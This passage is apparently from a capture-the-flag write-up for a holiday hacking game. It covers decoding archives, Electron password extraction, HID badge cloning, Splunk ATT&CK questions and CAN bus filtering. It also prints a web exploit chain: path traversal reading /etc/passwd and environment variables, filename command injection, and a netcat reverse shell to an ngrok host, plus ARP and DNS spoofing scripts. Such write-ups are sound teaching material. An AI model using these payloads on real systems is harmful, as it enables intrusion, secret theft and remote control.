wordlist\nhttp://s3.amazonaws.com/package\nBucket found but access denied: package\nhttp://s3.amazonaws.com/wrapper3000\nBucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 ) http://s3.amazonaws.com/wrapper3000/package\n We can download it with:\n$ ./bucket_finder.rb \u0026ndash;download wordlist A folder wrapper3000 is created that contains the package file:\n$ cat package\nUEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA\n This looks like Base64 encoding. We can decode it with:\n$ cat package | base64 -d\nPK\u0004??�� \u001c \u001c package.txt.Z.xz.xxd.tar.bz2UT �\u0017�_�\u0017�_ux \u0004�\u0004\u0014BZh91AY\u0026amp;SY�Kb�\u001e���\u0012�d���/ ��^0Y�a\u0014�{S�3�4zC ښ �=C�?���#\u0012��h=M4!\u0026amp;\u0026amp;�y@h4m#��P4z�Hhz��\u001c6a��5@\u00129�#\u0026lt; \\�P��/Cbk��y�� ㇭O�t\u0026lt;h)\u0014[�sR)�/���Ӄ?�b�sEl�5���f�KH6��ܘ� .�\u0026lt;�y��{�-���^\u0012\u0016h�\u0026quot; ��ݮƇQ'�́s�\u0026amp;ֶsj 10�@+��K\u0026lt;��PU\u0026amp;{O��k� �5�x�\u0026amp;�p\u0019 \u0026gt;���Z���x�/=g��y�(\u0012�\u0016²NF�;�E�b\u0026amp;�r�\u0026amp;C\u001c�݁�\u001c��+�\u0015� ��\u0006F�\u0026quot;�4�G$Z����V8'��@��\u001e�.�p�!���~PK\u001e??�� \u001c ?��package.txt.Z.xz.xxd.tar.bz2UT�\u0017�_ux \u0004�\u0004\u0014PK\u0006b�elf@8d5e97ec58f3:~/bucket_fin\n By looking at the first letters PK, we recognize the ZIP magic bytes! We can extract its content with:\n$ cat package | base64 -d \u0026gt; package.zip \u0026amp;\u0026amp; unzip package.zip We get a weird file called: package.txt.Z.xz.xxd.tar.bz2. It seems to have been compressed and manipulated a few times. We can further decompress the file with:\n$ bzip2 -d package.txt.Z.xz.xxd.tar.bz2\n$ tar xvf package.txt.Z.xz.xxd.tar Now we have a .xxd file. xxd is a command that creates a hex dump from a file. If we look at the content of the file, we see it is precisely that and that the first 6 bytes fd37 7a58 5a00 are the signature of the xz compression utility:\n$ cat package.txt.Z.xz.xxd\n00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ\u0026hellip;\u0026hellip;F..!.\n00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede \u0026hellip;.t/\u0026hellip;.,\u0026hellip;N.\n00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 \u0026hellip;\u0026hellip;7l\u0026hellip;A.M..\n00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F\u0026hellip;C\u0026rsquo;M\u0026hellip;\u0026hellip;\u0026hellip;\n00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D\u0026hellip;\u0026hellip;.)..\n00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW\u0026hellip;.}\n00000060: 0100 0000 0004 595a \u0026hellip;\u0026hellip;YZ We can restore the xz archive and decompress it with:\n$ xxd -r package.txt.Z.xz.xxd | xz -d \u0026gt; package.txt.Z One last step! We decompress .Z file with the uncompress command and finally read the text file:\n$ uncompress package.txt.Z \u0026amp;\u0026amp; cat package.txt\nNorth Pole: The Frostiest Place on Earth The overall process can be done with the following one-liner:\n$ cat package | base64 -d | zcat | bzip2 -d | tar xOvf - | xxd -r | xz -d | uncompress\npackage.txt.Z.xz.xxd\nNorth Pole: The Frostiest Place on Earth\n North Pole: The Frostiest Place on Earth 3 - Point-of-Sale Password Recovery Objective 3 description We enter the castle and meet Santa again:\nSanta:\nWelcome to my newly upgraded castle!\nAlso, check out that big portrait behind me! I received it in the mail a couple of weeks ago - a wonderful house warming present from an anonymous admirer. Gosh, I wonder who sent it. I\u0026rsquo;m so thankful for the gift!\nPlease feel free to explore my upgraded castle and enjoy the KringleCon talks upstairs. You can get there through my new Santavator!\n Santa\u0026#39;s present One of the elves seems worried about Santa:\nPiney Sappington:\nPsssst! Hey you! Yes YOU!\nI\u0026rsquo;ve gotta tell you something, but you gotta keep it on the down-low. Santa has been behaving VERY strangely over the past couple of weeks. He has delayed certain projects, cancelled others, and even messed around with our technical infrastructure.\nThere\u0026rsquo;s rumors among the elves that something has gone wrong with Santa. I can\u0026rsquo;t say any more - he might hear! We continue to the Courtyard, through the Dining Room where we meet Jack Frost for the very first time:\nJack Frost He has a cryptic message for us:\nJack Frost:\nThat\u0026rsquo;s such a magnificent portrait of Santa in the foyer. What a great demonstration of artistic skill.\nBwahahaha! Next to him, we find Sugarplum Mary and the Santa Shop:\nObjective 3 location We can download an offline version of Santa Shop which comes as an installer file santa-shop.exe. As per the hints we got from the Linux Primer challenge, we know it is an Electron application and that the password we are looking for must be stored in an ASAR file.\nElectron is an open-source framework that can be used to create cross-platform applications based on JavaScript, HTML, and CSS. An ASAR (Atom Shell Archive Format) file is a TAR-like archive that concatenates files into a single one. Electron can read it without unpacking it. It usually contains all the application files.\nLet\u0026rsquo;s install the application on a Windows 10 box and launch it:\nSanta Point-of-Sale The application is installed by default in the current user profile:\nC:\\Users\\%user%\\AppData\\Local\\Programs\\santa-shop The ASAR file location is:\nC:\\Users\\%user%\\AppData\\Local\\Programs\\santa-shop\\resources\\app.asar We can extract the contained files by following this procedure:\n install Node.js if not already done, from the command line, run npm install -g asar to install the asar package, go to the resources directory: cd C:\\Users\\\u0026lt;user\u0026gt;\\AppData\\Local\\Programs\\santa-shop\\resources, create a folder where the files will be extracted: mkdir output, extract the files: asar extract app.asar output. We get the following files:\nSanta PoS application files The password is found at the top of main.js:\nmain.js snippet We can now access the (dummy) PoS:\nSanta PoS user interface Alternatively, we can get the ASAR file without a Windows box. As the installer is a self-extracting archive:\n$ file santa-shop.exe\nsanta-shop.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive We can use tools like 7Zip to extract its content:\n$ 7z x santa-shop.exe We get the application uninstaller and a folder $PLUGINSDIR that contains some DLLs and another archive called app-64.7z. We can extract it to get the same files installed on Windows. The ASAR file is still in the resources folder.\nsantapass 4 - Operate the Santavator Objective 4 description The castle elevator seems buggy and needs some repair before we can use it.\nSantavator location Sparkle Redberry gives us some information about it:\nSparkle Redberry:\nHey hey, Sparkle Redberry here!\nThe Santavator is on the fritz. Something with the wiring is grinchy, but maybe you can rig something up? Here\u0026rsquo;s the key! Good luck!\nOn another note, I heard Santa say that he was thinking of canceling KringleCon this year! At first, I thought it was a joke, but he seemed serious. I\u0026rsquo;m glad he changed his mind.\nHave you had a chance to look at the Santavator yet? With that key, you can look under the panel and see the Super Santavator Sparkle Stream (S4). To get to different floors, you\u0026rsquo;ll need to power the various colored receivers.\n… There MAY be a way to bypass the S4 stream.\n We receive the Elevator Service Key and Ginger Breddle adds:\nGinger Breddle:\nHey, I heard from some of the other elves that there\u0026rsquo;s some really crazy things going on with floor one and a half. Once in the Santavator, we can access the panel where we see a missing button. We can\u0026rsquo;t go anywhere at the moment and this is shown by the buttons being all red:\nSantavator panel If we open the panel, we see the Items we collected so far and a strange ray of light:\nSantavator panel interior The items we have discovered so far are 2 Hex Nuts, the Broken Candycane and the Green Bulb. If we put the Green Bulb in the ray of light, the ray takes its color. With the help of the other items, we can divert the ray to hit the green bulb socket:\nSantavator panel interior - green light ray The green power light is now ON, and this gives us access to the Talks floor and the Lobby (where we are) as we can see from the bottom right note. This means that we need to find the Red Bulb to access the Workshop floor and the Roof (NetWars). If we have the 3 bulbs, we can access Santa\u0026rsquo;s office!\nAs soon as we access the KringleCon Talks floor, the Objective is validated. We meet then with Bow Ninecandle and again Jack Frost:\nKringleCon Talks (2nd) floor Bow Ninecandle:\nYou know what Santa just told me? He said he thought of yet another marketing pitch for the North Pole.\nHe wants to call it, \u0026ldquo;The Frostiest Place on Earth!\u0026rdquo;. What\u0026rsquo;s with that? Jack Frost:\nGosh, there\u0026rsquo;s some really great talks. I\u0026rsquo;m getting all kinds of ideas for different modes of attack. 5 - Open HID Lock Objective 5 description The HID lock is located in the Workshop on floor 1.5 and in order to access the Workshop, we need to find the Red Bulb and the missing elevator button. After achieving the Speaker UNPrep challenge, we get access to the Speaker UNpreparedness Room where we find the button on the floor. The Red Bulb is found in the Talks Lobby on the floor as well.\nWe can now head to the Workshop floor. But we need first to activate the green and red power in the Santavator panel. Here is a way to do it:\nWorkshop access We unlock the second narrative when we reach the 1.5 floor:\nnarrative 2 of 7 We find the Proxmark3 device that Bushy was mentioning on the floor of the Wrapping Room. This should help in opening the door protected by an HID lock:\nHID lock Now, we need to find someone who wears a badge so that we can try to clone the signal. Let\u0026rsquo;s go by all the elves, open the Proxmark3 terminal (from the Items menu), run the command lf hid read or auto and see who is wearing a badge. The following elves respond:\n[Noel Boetie - Wrapping Room]\n#db# TAG ID: 2006e22f08 (6020) - Format Len: 26 bit - FC: 113 - Card: 6020\n[Bow Ninecandle - Talks Lobby]\n#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023\n[Spark Redberry - Castle Entry]\n#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022\n[Angel Candysalt - Great Room]\n#db# TAG ID: 2006e22f31 (6040) - Format Len: 26 bit - FC: 113 - Card: 6040\n[Holy Evergreen - Kitchen]\n#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024\n[Shiny Upatree]\n#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025 With this information, we get back to the HID lock. To impersonate a card, we can run the command lf hid sim -r \u0026lt;TAG_ID\u0026gt;. We try the TAG IDs one by one and open the door with Bow Ninecandle\u0026rsquo;s one:\nbadge impersonation We access a dark room and unlock the rest of the Objectives. We need to find the right path to navigate it and reach the light:\narea ??? When we enter the light, we unlock the 3rd narrative:\nNarrative 3 of 7 We magically take the control of Santa through the painting offered to him and can now see the world through his eyes!\nthe new us! Seems like we are wearing a different badge now:\nblack badge It gives us access to a new feature. We can now teleport instantly in any room of the castle:\nteleport feature Let\u0026rsquo;s talk to some of our dear elves who are all still suspicious about Santa:\nSparkle Redberry:\nSanta, I just saw you get in the Santavator, but you never came back down, but now you\u0026rsquo;re back. How did you do that? Piney Sappington:\nHey Santa! Are you alright? You look a little out of it. Perhaps you could use some rest. You\u0026rsquo;ve been so busy. Ginger Breddie:\nHey Santa! Did you just come here from floor one and a half? Bubble Lightington:\nHey Santa… I\u0026rsquo;ve noticed that lately, you\u0026rsquo;ve been telling everyone to \u0026ldquo;Stay frosty.\u0026rdquo; What\u0026rsquo;s that all about? Fitzy Shortstack:\n\u0026ldquo;Watch Santa walk around,\u0026rdquo; they said. \u0026ldquo;See how strange he\u0026rsquo;s behaving,\u0026rdquo; they said. And you know what? They were right. Oh, Santa! I didn\u0026rsquo;t see you there! I hope you\u0026rsquo;re feeling OK. Jewel Loggins:\nHey Santa, didn\u0026rsquo;t I just see you walking past me? Jingle Ringford:\nSanta, it\u0026rsquo;s surprising to see you all the way down here! I\u0026rsquo;m used to you being up at the North Pole. Bow Ninecandle:\nSanta, it\u0026rsquo;s good to see you. Are you still trying to get the North Pole marketing department to use your new tagline, \u0026ldquo;The North Pole: The Frostiest Place on Earth?\u0026rdquo; Jack Frost still sounds suspicious:\nJack Frost (Courtyard):\nOh, hi Santa. I\u0026rsquo;m just wandering around, minding my own business. Nothing nefarious going on here. Jack Frost (Talk Lobby):\nHello Santa. It\u0026rsquo;s you again. Thank you so much for hosting this event. I know we\u0026rsquo;ve had our issues in the past, but I think we should just bury the hatchet. Let\u0026rsquo;s go back to our own self by taking the hidden exit under the painting in the Castle Entry. Maybe we will need this power again later…\n6 - Splunk Challenge Objective 6 description The Splunk terminal is located in the Great Room:\nObjective 6 location The elf tells us:\nAngel Candysalt:\nYou know, every day or so, I see Santa looking at his portrait in the entry and then letting out a maniacal \u0026ldquo;Bwahahaha.\u0026rdquo;\nIt\u0026rsquo;s kind of disturbing and I\u0026rsquo;m worried about him.\nOh, this machine here? Oh, it\u0026rsquo;s nothing you\u0026rsquo;ll be able to use. You know, we have pretty tight controls on authentication for that infrastructure. There\u0026rsquo;s some biometrics, so only Santa and a handful of elves can log in.\n When we try to access the terminal we get the message:\nThe Splunk terminal is for Santa and select SOC elves only. This is where Santa\u0026rsquo;s impersonation comes in. Let\u0026rsquo;s come back as Santa:\nAngel Candysalt:\nHey Santa, there\u0026rsquo;s some crazy stuff going on that we can see through our Splunk infrastructure. You better login and see what\u0026rsquo;s up. Like in last year\u0026rsquo;s edition, we access an instance of Splunk Enterprise where we have to answer some training questions that will lead us to finally answer the Objective question: \u0026ldquo;What is the name of the adversary group that Santa feared would attack KringleCon?\u0026rdquo;. We get as well some help from Santa\u0026rsquo;s SOC team through a chat:\nKringleCastle SOC interface This year\u0026rsquo;s dataset will include simulated attacks based on the MITRE® ATT\u0026amp;CK Matrix for Enterprise. The simulation is done with Splunk Attack Range. Let\u0026rsquo;s answer the questions.\nQ1. How many distinct MITRE ATT\u0026amp;CK techniques did Alice emulate? Alice Bluebird gives us some directions to start:\nQuestion 1 hint We can copy/paste Alice\u0026rsquo;s command into the search field to get the following indexes:\nSplunk indexes The index names txxxx correspond to the attack technique name. We can easily count that there are 13 main attack techniques simulated. We can as well output this value with:\n| tstats count where index=t* by index\n| rex field=index (?t\\d+)\n| stats dc(tech) The rex command is used to extract a string based on a regex and the dc function counts distinct values.\nLet\u0026rsquo;s look up the techniques used:\n ID Technique t1033 System Owner / User Discovery t1057 Process Discovery t1059.003 Command and Scripting Interpreter: Windows Command Shell t1059.005 Command and Scripting Interpreter: Visual Basic t1071.001 Application Layer Protocol: Web Protocols t1082 System Information Discovery t1105 Ingress Tool Transfer t1106 Native API t1123 Audio Capture t1204.002 User Execution: Malicious File t1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder t1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control t1559.002 Inter-Process Communication: Dynamic Data Exchange t1566.001 Phishing: Spearphishing Attachment Answer: 13 Q2. What are the names of the two indexes that contain the results of emulating Enterprise ATT\u0026amp;CK technique 1059.003? (Put them in alphabetical order and separate them with a space) We can see that from the previous screenshot.\nAnswer: t1059.003-main t1059.003-win Q3. One technique that Santa had us simulate deals with \u0026lsquo;system information discovery\u0026rsquo;. What is the full name of the registry key that is queried to determine the MachineGuid? Alice says:\nhint Q3 As we listed above, the System Information Discovery technique has the ID T1082. If we take a look at the Atomic Red Team repo, and go to the technique description, we can see the atomic tests that are performed and one of them can be used to retrieve the MachineGuid:\nT1082 atomic test Answer: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography Q4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.) hint Q4 Splunk Attack Range keeps the details of the simulation in the attack index. We just need to search for the OSTAP keyword and take the oldest one. OSTAP is a family of JS malware used in certain attack campaigns as a downloader. We search for:\nindex=attack ostap index=attack ostap Answer: 2020–11–30T17:44:15Z Q5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component? If we have a look at frgnca Github repository, we see a project called AudioDeviceCmdlets. We saw that the Audio Capture (T1123) technique was used as part of the simulation. If we have a look at this technique in Atomic Red Team repo, we see only 1 atomic test that uses a very specific commandlet:\nT1123 atomic test We can filter the logs with:\nindex=t1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1 We get only 2 logs and the first one has a ProcessId of 3648:\nindex=t1123* WindowsAudioDevice-Powershell-Cmdlet EventCode=1 Answer: 3648 Q6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation? Registry Run Keys are used in the technique T1547.001 and can be used to achieve persistence. We find the usage of a batch file in the 3rd Atomic test of T1547.001. The batch file can be found here.\nAnswer: quser Q7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range? hint Q7 Zeek is an open-source network analysis framework that we have seen in KringleCon 2. If we start with Alice\u0026rsquo;s search filter, we see that certificate serials and subjects are indexed fields. If we look at the existing subjects, we see that the top 1 is the Domain Controller we are looking for. We click on it to drill-down:\ncertificate Subjects From the very first log we can get its certificate serial number:\nDC certificate serial number Answer: 55FCEEBB21270D9249E86F4B9DC7AA60 Objective Question: What is the name of the adversary group that Santa feared would attack KringleCon? hint challenge question This one does not seem related to Splunk. We need to decrypt Alice\u0026rsquo;s ciphertext. What we know from the hints is:\n the ciphertext is encoded in Base64 to be \u0026ldquo;readable\u0026rdquo;, the algorithm used may be RC4 (RFC 7465), the key can be found in KringleCon 3 Splunk\u0026rsquo;s talk and is Santa\u0026rsquo;s fav phrase. We get the encryption key at the very end of the Splunk\u0026rsquo;s talk:\nkey - Santa\u0026#39;s fav phrase We can use the CyberChef toolkit to decrypt the ciphertext as follows:\nCyberChef The Lollipop Guild We unlock the Narrative 4 of 7:\nnarrative 4 of 7 7 - Solve the Sleigh\u0026rsquo;s CAN-D-BUS Problem Objective 7 description Santa\u0026rsquo;s sleigh is located on the Roof and only Santa can access it. So let\u0026rsquo;s transform again:\nObjective 7 location Wunorse Openslae:\nHey Santa! Those tweaks you made to the sled just don\u0026rsquo;t seem right to me. I can\u0026rsquo;t figure out what\u0026rsquo;s wrong, but maybe you can check it out to fix it. We access the CAN-D Bus of the sleigh and see that messages are overflowing even when the sleigh is not in use. When can START the sleigh and see the counter increase:\nCAN-D Bus The goal is to filter out all the bad messages and only keep the valid ones triggered by the buttons and sliders we have on the left side. Let\u0026rsquo;s first block all the messages that are flowing with the following criteria:\nblock all messages Clicking the START button triggers the message 02A#00FF00 but the sleigh does not accelerate. The STOP button triggers 02A#0000FF. Like in the CAN-Bus Investigation challenge, the LOCK and UNLOCK button triggers respectively 19B#000000000000 and 19B#0000F0000000. Moving the Accelerator, Brake and Steering sliders do not seem to work. This means that they are probably using one of the ID we blocked.\nAfter a few tries, we see that the sleigh speed generates the 244 ID. As soon as we remove the blocking rule, we can again start properly and accelerate. Let\u0026rsquo;s block only the noisy message 244#0000000000 instead. What we discover is that the message 244 data is the speed in hexadecimal. For instance, 244#00000003E8 indicates that the sleigh moves at 1000 RPM (Reindeer Per Minute).\nThe Stearing uses the message ID 019 and does not seem to be flooded so we do not need to filter this message at all.\nThe Brake uses the 080 message ID. Again, we can block the noisy value 080#000000. However, when we start breaking, we see that 2 messages are sent each second. The valid one has the Break value as data in hexadecimal. The malicious ones have a data value lower than zero.\nThis was not sufficient to make the sleigh work properly again. In the end, after a few other tries, we saw that all the data with zeros were legitimate. We are left with the doors and brake issues to solve. The necessary rules to exclude are:\nexclusion rules 8 - Broken Tag Generator Objective 8 description Noel Boetie:\nI\u0026rsquo;m Noel Boetie. Welcome to the Wrapping Room!\nWe wrap presents and tag them for delivery here. Unfortunately, the tag generator is acting up. I\u0026rsquo;m hoping Santa can give me a hand nailing down that flaw.\n Again, only Santa can access this terminal and if we come back as him, Noel says:\nNoel Boetie:\nWelcome to the Wrapping Room, Santa! The tag generator is acting up. I feel like the issue has something to do with weird files being uploaded.\nCan you help me figure out what\u0026rsquo;s wrong?\n Objective 8 location We access a webapp that we can use to generate tags. We can play with the app and try all the features while going through a proxy like Burp to analyze each call.\nhttps://tag-generator.kringlecastle.com Most of the tag creation is done client-side as well as the Save Tag feature used to download our tag. The client-side app logic is in /js/app.js. The only feature that calls a server endpoint is the upload function. It calls the upload endpoint as follows:\nupload endpoint We get the new name of our image as a JSON object in the response:\n[\u0026ldquo;09fef071-b2d4-4051-8854-f779176d8739.png\u0026rdquo;] By doing some tests with the image file we quickly see that we can upload any kind of content as long as the filename ends with png or jpg. If we upload a file with another extension we get the following error:\nupload of a PDF file The error message leaks the path to the server application /app/lib/app.rb, it is a Ruby application and we see as well that our file is first stored in the /tmp folder with a temporary name set by the server.\nAn endpoint discovery with wfuzz finds 2 additional endpoints:\n$ wfuzz -w wordlists/big.txt \u0026ndash;hc=403,404 https://tag-generator.kringlecastle.com/FUZZ\n[\u0026hellip;]\n000000961: 302 0 L 0 W 0 Ch \u0026ldquo;clear\u0026rdquo;\n000001947: 501 3 L 9 W 80 Ch \u0026ldquo;image\u0026rdquo;\n000003398: 501 3 L 9 W 80 Ch \u0026ldquo;share\u0026rdquo; The clear endpoint doesn\u0026rsquo;t do much. The image and share endpoints show the same error:\nError in /app/lib/app.rb: ID is missing! If we try to add the id argument to the image endpoint we get an error 501 with an interesting error:\nimage endpoint error It looks for a file in the /tmp folder. Actually, we can retrieve the image we uploaded before by using its ID:\n$ curl https://tag-generator.kringlecastle.com/image?id=09fef071-b2d4-4051-8854-f779176d8739.png \u0026ndash;output - Let\u0026rsquo;s see if we can have a Directory Traversal/Arbitrary File Read vulnerability here by calling a system file:\ncurl https://tag-generator.kringlecastle.com/image?id=../etc/passwd Great! We can download the server source code as well as we know its path:\n$ wget https://tag-generator.kringlecastle.com/image?id=../app/lib/app.rb At this point, we could already validate the Objective as all we have to do is read the GREETZ environment variable. This can be easily achieved by reading the /proc/self/environ file that contains the environment variables of the current process:\n$ curl https://tag-generator.kringlecastle.com/image?id=../proc/self/environ \u0026ndash;output -\nPATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nHOSTNAME=43b7c645315f\nRUBY_MAJOR=2.7\nRUBY_VERSION=2.7.0\nRUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343\nGEM_HOME=/usr/local/bundle\nBUNDLE_SILENCE_ROOT_WARNING=1\nBUNDLE_APP_CONFIG=/usr/local/bundle\nAPP_HOME=/app\nPORT=4141\nHOST=0.0.0.0\nGREETZ=JackFrostWasHere\nHOME=/home/app JackFrostWasHere However, let\u0026rsquo;s still analyze the server source code (full code here). The code of the image endpoint shows why we are able to read the server\u0026rsquo;s files:\ncurl https://tag-generator.kringlecastle.com/image?id=../etc/passwd Apparently, Jack disabled the id validation that now allows all special characters.\nThe upload endpoint, calls the process_file() function where we see that on top of png and jpg files, ZIP archives are as well supported:\nprocess_file() source code In the case of an image, the handle_image() function is called. It generates a random filename and starts a thread that will do a system call to execute convert to resize the image before storing it in the /tmp folder:\nhandle_image() source code The convert binary is called with our filename as argument without being validated! We could potentially execute commands here if we had control over the filename. A file called ';ls #.png would execute ls as follows:\nconvert -resize 800x600\\\u0026gt; -quality 75 \u0026lsquo;';ls #.png \u0026lsquo;/tmp/xxx\u0026rsquo; Whatever is after the # will be seen as a comment. But, as we have seen previously, we do not have control over the filename here as the server renames it to a temporary filename after the upload.\nThe ZIP file handler, however, does not rename the files after extraction:\nhandle_zip() source code Again, Jack disabled the filename validation and as the files are not renamed before being stored in the /tmp folder, we have full control over the filenames, and therefore could achieve Remote Command Execution (RCE). As we won\u0026rsquo;t see the result of our commands, we can output it in a file and then download it. Let\u0026rsquo;s create the following dummy file to read the output of the env command and then ZIP it:\n$ touch \u0026ldquo;';env\u0026gt;noob #.png\u0026rdquo;\n$ zip archive.zip \u0026ldquo;';env\u0026gt;noob #.png\u0026rdquo; We upload archive.zip and then download the noob file, which is found in the server\u0026rsquo;s default working directory /tmp:\nremote code execution Let\u0026rsquo;s go a step further now and try to have a shell on the server. Some characters like / are not allowed in filenames so we need to be careful with that. We can try a Netcat reverse shell by leveraging ngrok, a free service to tunnel the public traffic to localhost. We simply start it with ngrok tcp 1234 where 1234 is the local port. We get a temporary public endpoint and port to use:\nngrok Then our payload will be:\n$ touch \u0026ldquo;';nc 0.tcp.ngrok.io 19686 -c bash #.png\u0026rdquo;\n$ zip archive.zip \u0026ldquo;';nc 0.tcp.ngrok.io 19686 -c bash #.png\u0026rdquo;\n$ nc -lnvp 1234 # start netcat listener on port 1234 We upload the ZIP…and we get a reverse shell as the user app!!\nreverse shell There is one last vulnerability that we can exploit. The upload feature is vulnerable to Zip Slip. We can craft an evil ZIP file that can add/overwrite any file on the system where the user app can write.\nWe can now move on to the next objective…Talking again to Noel shows he is happy but has some work to do:\nNoel Boetie:\nYay! You found the flaw!\nWe\u0026rsquo;ll work on fixing it. We unlock a new narrative:\nnarrative 5 of 7 9 - ARP Shenanigans Objective 9 description Again, the terminal is only accessible to Santa.\nObjective 9 location Alabaster Snowball:\nHey Santa! You\u0026rsquo;ve got to check out our Scapy Present Packet Prepper! Please work through the whole thing to make sure it\u0026rsquo;s helpful for our guests! I made it so that players can help() to see how to get tasks and hints. When you\u0026rsquo;re done, maybe you can help me with this other issue I\u0026rsquo;m having.\nOh, I see the Scapy Present Packet Prepper has already been completed! Now you can help me get access to this machine.\nIt seems that some interloper here at the North Pole has taken control of the host. We need to regain access to some important documents associated with Kringle Castle. Maybe we should try a machine-in-the-middle attack? That could give us access to manipulate DNS responses. But we\u0026rsquo;ll still need to cook up something to change the HTTP response. I\u0026rsquo;m sure glad you\u0026rsquo;re here Santa.\n We have access to 3 TMUX terminals to help in this task. One of them shows the following message:\nwelcome message After having completed the Scapy Present Packet Prepper challenge we got some interesting hints to help us achieve this objective. Let\u0026rsquo;s take them one by one:\nH1. Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host. Our IP address is 10.6.0.2 and we know from the hints that 10.6.6.35 may have been hit by a malware. When sniffing eth0 we mainly get ARP requests from the 10.6.6.35 that asks who has the 10.6.6.53:\ntcpdump capture H2. The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts. To achieve ARP spoofing, we can use the given script /home/guest/scripts/arp_resp.py. Almost everything is ready, we only need to replace the SOME*HERE and 99999 values to match the protocol and then execute it:\n We can have a look at this example to help. Let\u0026rsquo;s start with line 14. The Ethernet source is our own one that we can get with ifconfig or we can simply re-use the macaddr variable:\nsource MAC address For the Ethernet destination, we need to capture the attacker packet with more details. This can be achieved by displaying the ARP table:\n$ arp -a arp_requester.guestnet0.kringlecastle.com (10.6.6.35) at 4c:24:57:ab:ed:84 [ether] on eth0 Line 14 becomes:\n14 ether_resp = Ether(dst=\u0026#34;4c:24:57:ab:ed:84\u0026#34;, type=0x806, src=macaddr) For the ARP reply options (lines 16 to 21):\n16 17 18 19 20 21 arp_response = ARP(pdst=\u0026#34;4c:24:57:ab:ed:84\u0026#34;) arp_response.op = 2 # reply operation arp_response.plen = 4 # protocol size arp_response.hwlen = 6 # hardware addresse size arp_response.ptype = 0x800 # protocol type IPv4 arp_response.hwtype = 1 # hardware protocol Ethernet For the source and destinations addresses (lines 23 to 26):\n23 24 25 26 arp_response.hwsrc = macaddr # our Mac address arp_response.psrc = \u0026#34;10.6.6.53\u0026#34; # the spoofed IP address arp_response.hwdst = \u0026#34;4c:24:57:ab:ed:84\u0026#34; # attacker Mac address arp_response.pdst = \u0026#34;10.6.6.35\u0026#34; # attacker IP address We launch our modified script while capturing packets:\nARP spoofing We see our spoofed ARP reply and the attacker sending a DNS query to our host to resolve the domain ftp.osuosl.org.\nH3. Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let\u0026rsquo;s return a DNS response resolving the request to our IP. We are again helped for the DNS spoofing with the dns_resp.py script that we will need to complete:\n The goal is to send a DNS response to the attacker resolving the domain name to our IP address to see what the malware will do next. We can get some help on the DNS protocol from this capture.\nFirst, we need to change the IP address we are spoofing on line 11:\n11 ipaddr_we_arp_spoofed = \u0026#34;10.6.6.53\u0026#34; On lines 16 to 17, we need to set the right Ethernet/IP addresses. We have seen most of the values in the ARP spoofing part:\n16 17 eth = Ether(src=macaddr, dst=\u0026#34;4c:24:57:ab:ed:84\u0026#34;) ip = IP(dst=\u0026#34;10.6.6.35\u0026#34;, src=ipaddr_we_arp_spoofed) Regarding the UDP layer on line 18, we need to capture the attacker source port that will be the destination port in the response. As the attacker packet is an argument of the function we can retrieve it with packet[UDP].sport. The source port is the DNS default port:\n18 udp = UDP(dport=packet[UDP].sport, sport=53) Finally, the DNS response will be on lines 19 